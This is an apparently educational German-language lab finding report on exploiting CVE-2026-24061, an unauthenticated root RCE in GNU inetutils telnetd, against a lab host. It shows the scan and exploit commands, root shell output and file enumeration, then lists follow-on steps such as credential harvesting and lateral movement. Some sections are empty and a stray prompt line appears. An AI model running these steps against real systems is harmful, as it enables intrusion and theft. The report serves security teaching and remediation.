CyberHawks Lab Demo-Finding-Report

Credit to: @SafeBreach-Labs

CVE: CVE-2026-24061

Labor: Cyberhawks Lab
Ziel: 10.1.1.1 (demo.cyberhawks.lab)
Finding-ID: WU-08
Datum: 2026-09-08
Schweregrad: Kritisch
Status: Bestätigt / Ausgenutzt

Zusammenfassung

Während einer Bewertung der Cyberhawks-Lab-Umgebung wurde eine nicht authentifizierte Remote-Code-Ausführung (RCE)-Schwachstelle identifiziert und erfolgreich auf dem Zielhost (10.1.1.1) ausgenutzt. Die Ausnutzung von CVE-2026-24061 über einen exponierten Telnet-Dienst (TCP/23) führte zu einer interaktiven Shell mit Root-Rechten und gewährte vollständige administrative Kontrolle über das System.

Umfang & Umgebung

Aufklärung

Port-Scan

Ein Nmap-Dienstversionsscan wurde gegen das Ziel durchgeführt, um offene Ports und Dienste zu ermitteln.

Befehl:

nmap -sV 10.1.1.1

Ergebnisübersicht:

Bemerkenswerte Beobachtungen:

• Der Host exponiert eine breite und besorgniserregende Angriffsfläche über 15 Ports.
• Port 23 (Telnet) war zugänglich und stellte damit ein unmittelbares Prioritätsziel dar.
• Das Vorhandensein von Telnet – einem von Natur aus unsicheren Klartext-Protokoll – auf einem modernen Host stellt eine kritische Fehlkonfiguration dar. Es ist wahrscheinlich, dass die Dienstversion ausnutzbar ist.

Schwachstellendetails

Beschreibung

CVE-2026-24061 ist eine nicht authentifizierte Remote-Code-Ausführung-Schwachstelle, die die Telnet-Daemon-Komponente von GNU inetutils 2.6 betrifft. Die Ausnutzung ermöglicht es einem entfernten, nicht authentifizierten Angreifer, beliebige Befehle auf dem Zielsystem mit den Rechten des laufenden Dienstes auszuführen – in diesem Fall root.

Ausnutzung

Verwendetes Tool / Exploit

Ein zweckgebundenes Python-Exploit-Skript (telnet_rce.py), das auf CVE-2026-24061 abzielt, wurde gegen den verwundbaren Telnet-Dienst ausgeführt.

Befehl:

python3 telnet_rce.py 10.1.1.1

Exploit-Ausgabe:

[*] Connected to 10.1.1.1:23
[*] Interactive session started. Use Ctrl+C to quit.

Linux 6.12.41+deb13-amd64 (demo.cyberhawks.lab) (pts/0)

root@demo:~#

Verifizierung nach der Ausnutzung

Nach Erlangen einer Shell bestätigten die folgenden Befehle das erreichte Zugriffsniveau:

Identitätsprüfung:

root@demo:~# id
uid=0(root) gid=0(root) groups=0(root)

Dateisystem-Enumeration:

root@demo:~# ls -la
total 36
drwx------  6 root root 4096 Aug 28 14:47 .
drwxr-xr-x 19 root root 4096 Aug 28 15:37 ..
-rw-r--r--  1 root root  607 May 12  2025 .bashrc
drwx------  4 root root 4096 Sep  6  2025 .cache
drwxr-xr-x  3 root root 4096 Sep  6  2025 .config
drwxrwxr-x  3 root root 4096 Sep  6  2025 .local
-rw-------  1 root root  261 Sep  6  2025 .mariadb_history
-rw-r--r--  1 root root  132 May 12  2025 .profile
drwx------  2 root root 4096 Sep  6  2025 .ssh

Dienstversions-Überprüfung

root@demo:~# telnet --version

telnet (GNU inetutils) 2.6
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by many authors.

Wichtige Erkenntnisse nach der Ausnutzung:

• .mariadb_history – deutet auf aktive MariaDB-Datenbanknutzung hin; Potenzial für weitere Anmeldedaten-Ernte oder Datenerfassung.
• .ssh/-Verzeichnis – könnte private Schlüssel enthalten, die für laterale Bewegung zu anderen Hosts nutzbar sind.
• Vollständiger root-Zugriff (UID 0) wurde ohne erforderlichen Privilege-Escalation-Schritt bestätigt.

Auswirkungen

Eine vollständige Systemkompromittierung wurde in einem einzigen, nicht authentifizierten Schritt erreicht. Ein Angreifer mit Zugriff auf dieses Netzwerksegment könnte:

• Alle auf dem Host gespeicherten Daten lesen, ändern oder exfiltrieren.
• Anmeldedaten aus Shell-Verlauf, Konfigurationsdateien und der MariaDB-Datenbank ernten.
• SSH-Schlüssel nutzen, um lateral zu anderen Hosts im Netzwerk zu pivotieren.
• Persistenz etablieren (z. B. Hintertür-Konten, Cron-Jobs, Rootkits).
• Die Verfügbarkeit aller auf dem Host laufenden Dienste stören.

Empfehlungen

Sofort (Kritische Priorität)

1. CVE-2026-24061 patchen oder mitigieren – Wenden Sie den vom Hersteller bereitgestellten Patch für GNU inetutils an, falls Telnet weiterhin verwendet werden muss. Prüfen Sie auf ein aktualisiertes Paket:
   root@kitploit:~

   apt update && apt install inetutils-telnetd
   

Artefakte & Beweise

Bericht erstellt für Cyberhawks Lab – nur für Bildungszwecke.